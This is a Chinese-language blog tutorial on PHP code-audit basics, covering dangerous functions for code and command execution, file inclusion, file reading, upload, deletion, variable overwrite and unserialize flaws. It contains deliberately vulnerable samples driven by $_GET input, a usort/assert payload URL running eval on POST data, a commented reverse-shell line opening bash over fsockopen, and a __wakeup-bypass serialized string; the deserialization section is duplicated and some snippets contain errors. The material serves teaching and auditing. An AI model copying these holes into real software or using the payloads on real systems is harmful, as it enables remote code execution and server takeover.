PHP代码审计基础知识点


本文章主要是PHP代码审计的一些基础知识,包括函数的用法,漏洞点,偏向基础部分,个人能力有限,部分可能会出现错误或者遗漏,读者可自行补充

代码执行

代码执行是代码审计当中较为严重的漏洞,主要是一些命令执行函数的不适当使用

eval()

此函数将传入的字符当作PHP代码来进行执行

eval(string/$code)

返回值:

eval() 返回 NULL,除非在执行的代码中 return了一个值,函数返回传递给 return的值。PHP7开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误。

我们在利用eval()函数的时候,如果我们传入的字符串不是正常的代码格式,那么就会抛出异常。所以PHP7和PHP5在这部分最大的不同是什么呢?简而言之,PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码。


assert()

参数:

  • assertion

在PHP5中,是一个用于执行的字符串或者用于测试的布尔值,在PHP7中,可以是一个返回任何值的表达式,它被执行结果用于判断断言是否成功

  • description

如果assertion失败了,选项description将会包含在失败信息里

  • exception

在PHP7中,第二个参数可以是一个Throwable对象,而不是一个字符串,如果断言失败且启用了assert.exception那么该对象将被抛出

assert()配置

配置项默认值可选值
zend.assertions11 - 生成和执行代码(开发模式) 0 - 生成代码,但在执行时跳过它 -1 - 不生成代码(生产环境)
assert.exception01 - 断言失败时抛出,可以抛出异常对象,如果没有提供异常,则抛出AssertionError对象实例 0 - 使用或生成Throwable,仅仅是基于对象生成的警告而不是抛出对象(与PHP 5 兼容)

assert()函数是处理异常的一种形式,相当于一个if条件语句的宏定义一样。


preg_replace()

此函数执行一个正则表达式的搜索和替换

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分,以replacement进行替换

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。
preg_replace("正则表达式""要替换的内容""要操作的对象")

preg_repace()有一个模式是/e模式,这个模式就会发生代码执行的问题

<?php
     function Ameng($regex, $value){
        return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
    }
    foreach ($_GET as $regex => $value){
        echo Ameng($regex, $value) . "\n";
    }
?>

\1,\1在正则表达式是反向引用的意思,简而言之就是指定一个子匹配项

create_function()

此函数用来创建一个匿名函数

参数

  • string $args 声明的函数变量部分
  • string $code 要执行的代码

返回值

返回唯一的函数名称作为字符串或者返回FALSE错误

create_function()函数在内部执行eval()函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()函数,使用匿名函数来代替。

array_map()

此函数为数组的每个元素应用回调函数

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样。

参数:

  • callback:回调函数,应用到每个数组里的每个元素。
  • array1:数组,遍历运行callback函数。
  • …:数组列表,每个都遍历运行callback函数。

可以这么直白的解释一下。你本来有一个数组,然后我通过array_map函数将你这个数组当作参数传入,然后返回一个新的数组。见下图。

在这里插入图片描述

<?php
    $old_array = array(1, 2, 3, 4, 5);   //数组
    function func($arg){			//函数
        return $arg * $arg;
    }
    $new_array = array_map('func',$old_array); //使用array_map进行将函数传入,参数为数组,返回一个新的数组
    var_dump($new_array);



    $func = 'system';
    $cmd = 'whoami';
    $old_array[0] = $cmd;
    $new_array = array_map($func,$old_array);
    var_dump($new_array);

    
    
执行结果——>
desktop-m61j5j6\admin
array(1) {
  [0]=>
  string(21) "desktop-m61j5j6\admin"
}
?>
    
 

这段代码就是,通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了

call_user_func()

此函数用于把第一个参数作为回调函数调用

参数

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。

  • callback:即将被调用的回调函数
  • parameter:传入回调函数的参数
<?php
    function callback($a,$b){
        echo $a . "\n";
        echo $b;
    }
    call_user_func('callback','我是参数1','我是参数2');
?>


执行结果——>
我是参数1
我是参数2

此函数作用就是调用了笔者自定义的函数。那么这个如何实现代码执行呢?好说,你在前面自定义的函数中加入能执行命令的代码不久可以代码执行了

<?php
    function callback($a){
        return system($a);
    }
    $cmd = 'whoami';
    call_user_func('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin

call_user_func_array()

这个函数名称跟上没什么大的差别,唯一的区别就在于参数的传递上,这个函数是把一个数组作为回调函数的参数

参数:

  • callback:被调用的回调函数
  • param_arr:要被传入回调函数的数组,这个数组需要是索引数组
<?php
    function callback($a){
        return system($a);
    }
    $cmd = array('whoami');
    call_user_func_array('callback',$cmd);
?>
    
执行结果——>
desktop-m61j5j6\admin

array_filter()

此函数用于回调函数过滤数组中的单元

依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变

参数:

  • array:要循环的数组
  • callback:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。
  • flag:决定callback接收的参数形式
<?php
    $cmd='whoami';
    $array1=array($cmd);
    $func ='system';
    array_filter($array1,$func);
?>
    
    
执行结果——>
desktop-m61j5j6\admin

Usort()

使用用户自定义的比较函数对数组中的值进行排序

参数:

  • array:输入的数组
  • cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数
<?php
    function func($a,$b){
        return ($a<$b)?1:-1;
    }
    $onearray=array(1,3,2,5,9);
    usort($onearray, 'func');
    print_r($onearray);
?>

执行结果——>
Array
(
    [0] => 9
    [1] => 5
    [2] => 3
    [3] => 2
    [4] => 1
)

可见实现了逆序的功能。那么倘若我们把回调函数设计成能够执行代码的函数,是不是就可以执行我们想要的代码了呢?

代码示例:

<?php 
    usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();

usort的参数通过GET传参,第一个参数也就是$_GET[0],随便传入一个数字即可。第二个参数也就是$_GET[1]是我们要调用的函数名称,这里采用的是assert函数。

uasort()

此函数对数组排序并保持索引和单元之间的关联。也就是说你这个排完序之后呢,它原来对应的索引也会相应改变,类似于“绑定”

参数:

  • array:输入的数组
  • value_compare_func:用户自定义的函数
<?php
	$a = $_GET['a'];
	$onearray = array('Ameng', $_POST['x']);
	uasort($onearray, $a);
?>

命令执行

常见bash shell语法

在这里插入图片描述

system()

该函数用来执行外部指令,有回显

参数:

  • command:必需。要执行的命令
  • return_var:可选。若设置了这个参数,那么命令执行后的返回状态就会被放到这个变量中
<?php
    $cmd = 'whoami';
    system($cmd);
?>
    
执行结果——>
desktop-m61j5j6\admin

exec()

该函数与system函数没有太大区别,都是执行外部指令,只不过多了一个参数,可以把命令执行输出的结果保存到数组中

参数:

  • command:必需。要执行的命令
  • output:可选。如果设置了此参数,那么命令执行的结果将会保存到此数组。
  • return_var:可选。命令执行的返回状态。
<?php
$cmd = 'whoami';
echo exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin

shell_exec()

此函数通过shell环境执行命令,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,那么就返回NULL

参数:

  • cmd:要执行的命令
<?php
$cmd = 'whoami';
echo shell_exec($cmd);
?>
    
执行结果——>
desktop-m61j5j6\admin

passthru()

执行外部程序并且显示原始输出。既然我们已经有执行命令的函数了,那么这个函数我们什么时候会用到呢?当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()system()函数

  • command:要执行的命令
  • return_var:Unix命令的返回状态将被记录到此函数。
第一你可以这么写
<?php
    passthru('whoami');	//直接将结果返回到页面
?>
第二你可以这么写
<?php
    passthru('whoami',$result);	//将结果返回到一个变量,然后通过输出变量值得到输出内容
    echo $result;
?>

pcntl_exec()

在当前进程空间执行指定程序。关键点就在于进程空间,倘若我现在设定一个条件,你只有在某个子进程中才能读取phpinfo,那这个时候,我们就需要用到这个函数了

参数:

  • path:path必须时可执行二进制文件路径或在一个文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
  • args:此参数是一个传递给程序的参数的字符串数组
  • envs:环境变量,这个想必大家都很熟悉,只不过这里强调一点,这里传入的是数组,数组格式是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值

Popen()

此函数使用command参数打开进程文件指针。如果出错,那么该函数就会返回FALSE。

参数:

  • command:要执行的命令
  • mode:必需。规定连接的模式
    • r:只读
    • w:只写(打开并清空已有文件或创建一个新文件)
<?php
	$file = popen("demo.txt","r");
	pclose($file);
?>

<?php
$file = popen("/bin/ls","r");
//some code to be executed
pclose($file);
?>

Proc_open()

此函数执行一个命令,并且打开用来输入或输出的文件指针

参数:

  • cmd:要执行的命令
  • descriptorspec:索引数组。数组中的键值表示描述符,元素值表示 PHP 如何将这些描述符传送至子进程。0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。
  • pipes:将被置为索引数组,其中的元素是被执行程序创建的管道对应到PHP这一段的文件指针。
  • cwd:要执行命令的初始工作目录。必需是绝对路径。此参数默认使用 NULL(表示当前 PHP 进程的工作目录)
  • env。要执行命令所使用的环境变量。此参数默认为 NULL(表示和当前 PHP 进程相同的环境变量)
  • other_options:可选。附加选项
    • suppress_errors (仅用于 Windows 平台):设置为 TRUE 表示抑制本函数产生的错误。
    • bypass_shell (仅用于 Windows 平台):设置为 TRUE 表示绕过 cmd.exe shell

大概意思就是执行命令,只不过多了一些选项,目录,环境变量等。

$descriptorspec = array(
			0 => array("pipe", "r"),	//标准输入,子进程从此管道读取数据
			1 => array("pipe", "w"),	//标准输出,子进程向此管道写入数据
			2 => array("file", "/opt/figli/php/error-output.txt","a")	//标准错误,写入到指定文件
			);
 
 
	$process = proc_open("ls -a", $descriptorspec, $pipes);
 
	if(is_resource($process)){
 
		echo stream_get_contents($pipes[1]);
		fclose($pipes[1]);
 
		proc_close($process);	//在调用proc_close之前必须关闭所有管道
	}

文件包含

include()

include将会包含语句并执行指定文件

include 'filename';

关键点就在于执行指定文件,执行给了我们代码执行的机会。倘若此时我们构造了一个后门文件,需要在目标机器执行进行shell反弹,那么如果代码中有include而且没有进行过滤,那么我们就可以使用该函数来执行我们的后门函数。

示例代码(1.php):

<?php
	highlight_file(__FILE__);
	$file = $_GET['file'];   //通过外部参数接收
	include $file;		//并进行包含
?>

示例代码(2.php):

<?php
	//这里可以使用PHP来反弹shell,我这里只是演示
	//$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");
	echo '<br><h1>[*]backdoor is running!</h1>';
?>

执行结果:

img

通过1.php该文件包含了2.php,攻击者可利用该特性进行构造反弹shell,并使用文件包含进行执行

include_once()

include_onceinclude没有太大区别,唯一的其区别已经在名称中体现了,就是相同的文件只包含一次。其他功能和include_once一样,只是增加对每个文件包含的次数

require()

require的实现和include功能几乎完全相同,那既然一样为什么还要多一个这样的函数呢?( 我也不知道)

其实两者还是有点区别的,什么区别呢?这么说,如果你包含的文件的代码里面有错误,你觉得会发生什么?是继续执行包含的文件,还是停止执行呢?所以区别就在这里产生了。

require在出错时会导致脚本终止,而include在出错时只是发生警告,脚本还是继续执行。

require_once()

与include和include_once的关系是一样的,只是增加对每个文件包含的次数

总结:

文件包含有很多利用手段,其中在实际环境中,例如我们向服务器写入了后门,但是我们无法直接连接服务器,那么如果有文件包含函数,我们可以通过文件包含函数包含执行我们的后门函数,让服务器反弹连接我们。

文件读取(下载)

file_get_contents()

此函数功能是将整个文件读入一个字符串

file_get_contents(path,include_path,context,start,max_length)

参数:

  • filename:要读取文件的名称。
  • include_path:可选。如果也想在 include_path 中搜索文件,可以设置为1。
  • context:可选。规定句柄的位置。
  • start:可选。规定文件中开始读取的位置。
  • max_length:可选。规定读取的字节数。
<?php
    echo file_get_contents('demo.txt');
?>
    
执行结果——>
I am a demo text

fopen()

此函数用来打开一个文件或url,如果fopen失败它将返回 FALSE 并附带错误信息。我们可以通过在函数名前面添加一个 @ 来隐藏错误输出。

fopen(filename,mode,include_path,context)

参数:

  • filename:必需。要打开的文件或URL
  • mode:必需。规定访问类型(例如只读,只写,读写方式等,方式的规定和其他语言的规定方式一致)
  • include_path:可选。就是你可以指定搜索的路径位置,如果要指定的话,那么该参数要指定为1
  • context:可选。规定句柄的环境
<?php
	$file = fopen("demo.txt","rb");
	$content = fread($file,1024);
	echo $content;
	fclose($file);
?>
    
执行结果——>
I am a demo text

这段代码中其实也包含了fread的用法。因为fread仅仅只是打开一个文件,要想读取还得需要用到fread来读取文件内容。

fread()

这个函数刚才在上个函数中基本已经演示过了,就是读取文件内容。

string fread ( resource $handle , int $length )

参数:

  • handle:文件系统指针,是典型地由 fopen创建的resource
  • length:必需。你要读取的最大字节数。

fgets()

此函数用于打开文件读取一行的内容

fgets(file,length) 

参数:

  • file:必需。规定要读取的文件。
  • length:可选。规定要读取的字节数。默认是1024字节

这个函数和之前的fread区别不是很大,只不过这个读取的是一行

fgetss()

这个函数跟上个没什么差别,也是从打开的文件中读取去一行,只不过过滤掉了 HTML 和 PHP 标签。

fgetss(file,length,tags)

参数:

  • file:必需。要检查的文件。
  • length:可选。规定要读取的字节数,默认1024字节。
  • tags:可选。哪些标记不去掉。
<?php
	$file = fopen("demo.html","r");
	echo fgetss($file);
	fclose($file);
?>

demo.html代码
<h1>I am a demo</h1>
    
执行结果——>
I am a demo

readfile()

这个函数从名称基本就知道它是干啥的了,读文件用的。此函数将读取一个文件,并写入到输出缓冲中。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息

readfile(filename,include_path,context)

参数:

  • filename:必需。要读取的文件。
  • include_path:可选。规定要搜索的路径。
  • context:可选。规定文件句柄环境。
<?php
	echo "<br>" . readfile("demo.txt");
?>
    
执行结果——>
I am a demo:) I am a demo:(
28

不仅输出了所有内容,而且还输出了总共长度。但是没有输出换行

file()

把文件读取到一个数组中,数组中每一个元素对应的是文件中的一行,包括换行符。

file(path,include_path,context)

参数:

  • path:必需。要读取的文件。
  • include_path:可选。可指定搜索路径。
  • context:可选。设置句柄环境。
<?php
print_r(file("demo.txt"));
?>
    
执行结果——>
Array 
( 
[0] => I am the first line! 
[1] => I am the second line! 
)

parse_ini_file()

这个函数不是读取一个简单的文件。它的功能是解析一个配置文件(ini文件),并以数组的形式返回其中的位置。

参数:

  • file:必需。要读取的ini文件
  • process_sections:可选。若为TRUE,则返回一个多维数组,包括了详细信息
<?php
	print_r(parse_ini_file("demo.ini"));
?>

demo.ini内容:
[names]
me = Robert
you = Peter

[urls]
first = "http://www.example.com"
second = "https://www.runoob.com"

执行结果——>
Array 
( 
[me] => Robert 
[you] => Peter 
[first] => http://www.example1.com 
[second] => https://www.example2.com 
)

show_source()/highlight_file()

这两个函数没什么好说的,想必大家也经常见到这两个函数,其作用就是让php代码显示在页面上。这两个没有任何区别,show_source其实就是highlight_file的别名

文件上传

move_uploaded_file()

此函数将上传的文件移动到新位置

move_uploaded_file(file,newloc)

参数:

  • file:必需。规定要移动的文件。
  • newloc:必需。规定文件的新位置。

本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。

如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。

$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$fileName )

这段代码就是直接接收上传的文件,没有进行任何的过滤,那么当我们上传getshell的后门时,就可以直接获取权限,可见这个函数是不能乱用的,即便要用也要将过滤规则完善好,防止上传不合法文件。

文件删除

unlink()

此函数用来删除文件,成功返回true,失败返回false

参数:

  • filename:必需。要删除的文件。
  • context:可选。句柄环境。

一些网站是有删除功能的。比如常见的论坛网站,是有删除评论或者文章功能的。倘若网站没有对删除处做限制,那么就可能会导致任意文件删除(甚至删除网站源码)

<?php
    $file = "demo.txt";
    if(unlink($file)){
        echo("$file have been deleted");
    }
	else{
        echo("$file not exist?")
    }
php

session_destroy()

session_destroy()函数用来销毁一个会话中的全部数据,但并不会重置当前会话所关联的全局变量,同时也不会重置会话 cookie

<?php
// 初始化会话。
// 如果要使用会话,别忘了现在就调用:
session_start();

// 重置会话中的所有变量
$_SESSION = array();

// 如果要清理的更彻底,那么同时删除会话 cookie
// 注意:这样不但销毁了会话中的数据,还同时销毁了会话本身
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

// 最后,销毁会话
session_destroy();
?> 

变量覆盖

extract()

此函数从数组中将变量导入到当前的符号表。其实作用就是给变量重新赋值,从而达到变量覆盖的作用。

参数:

  • array:必需。规定要使用的数组。
  • extract_rules:可选。extract函数将检查每个键名是否为合法的变量名,同时也检查和符号中已经存在的变量名是否冲突,对不合法或者冲突的键名将会根据此参数的设定的规则来决定。
    • EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
    • EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    • EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
    • EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
    • EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
    • EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
    • EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
    • EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
  • prefix:可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
<?php
    $color = "blue";
    $one_array = array("color" => "red",
        "size"  => "medium",
        "name" => "dog");
    extract($one_array);
    echo "$color, $size, $name";
?>
    
执行结果——>
red, medium, dog

本来我们定义的color是blue,输出的时候变成了red,本来我们没有定义size和name,可是却能输出这两个变量。

parse_str()

此函数把查询到的字符串解析到变量中

参数:

  • string:必需。规定要解析的字符串。
  • array:可选。规定存储变量的数组名称。该参数只是变量存储到数组中。
<?php
    parse_str("name=ameng$sex=boy",$a);
	print_r($a);
?>
    执行结果——>
Array
(
    [name] => Ameng
    [sex] => boy
)

上述代码是有array情况下的使用情况,那么如何实现变量的覆盖呢?如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量

<?php
	$name = 'who';
    $age = '20';
    parse_str("name=Ameng&age=21");
    echo "$name, $age";
?>
执行结果——>
Ameng, 21

变量name和age都发生了变化,被新的值覆盖了。这里我用的是 PHP 7.4.3 版本。发现这个函数的这个作用还是存在的,且没有任何危险提示。

反序列化漏洞

序列化:把对象转换为字节序列的过程成为对象的序列化。

反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

归根到底,就是将数据转化成一种可逆的数据结构,逆向的过程就是反序列化。

在 PHP 中主要就是通过serializeunserialize来实现数据的序列化和反序列化。

那么漏洞是如何形成的呢?

PHP 的反序列化漏洞主要是因为未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而就可以导致各种危险行为。

那么我们先来看一看序列化后的数据格式是怎样的,了解了序列化后的数据,我们才能更好的理解和利用漏洞。所以我们来构造一段序列化的值。

<?php
    class Ameng{
    public $who = "Ameng";
	}
	$a = serialize(new Ameng);
	echo $a;
?>
执行结果——>
O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}

在这里插入图片描述

变量的类别有三种:

  • public :正常操作,在反序列化时原型就行
  • protected:反序列化时在变量名前加上%00*%00
  • private:反序列化时在变量名前加上%00类目%00

__wakeup()

反序列化时,会先检查类中是否存在__wakeup()如果存在,则执行。但是如果对象属性个数的值大于真实的属性个数时就会跳过__wakeup()执行__destruct()

影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{ 
        public $name='1.php'; 

        function __destruct(){ 
            echo "destruct执行<br>";

            echo highlight_file($this->name, true); 
        } 
         

        function __wakeup(){ 
            echo "wakeup执行<br>";
            $this->name='1.php'; 
        } 
    }
	$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
	unserialize($data);
?>

格式是怎样的,了解了序列化后的数据,我们才能更好的理解和利用漏洞。所以我们来构造一段序列化的值。

<?php
    class Ameng{
    public $who = "Ameng";
	}
	$a = serialize(new Ameng);
	echo $a;
?>
执行结果——>
O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}

[外链图片转存中…(img-PcwdGVvO-1670934224525)]

变量的类别有三种:

  • public :正常操作,在反序列化时原型就行
  • protected:反序列化时在变量名前加上%00*%00
  • private:反序列化时在变量名前加上%00类目%00

__wakeup()

反序列化时,会先检查类中是否存在__wakeup()如果存在,则执行。但是如果对象属性个数的值大于真实的属性个数时就会跳过__wakeup()执行__destruct()

影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{ 
        public $name='1.php'; 

        function __destruct(){ 
            echo "destruct执行<br>";

            echo highlight_file($this->name, true); 
        } 
         

        function __wakeup(){ 
            echo "wakeup执行<br>";
            $this->name='1.php'; 
        } 
    }
	$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
	unserialize($data);
?>
  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ranwu0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值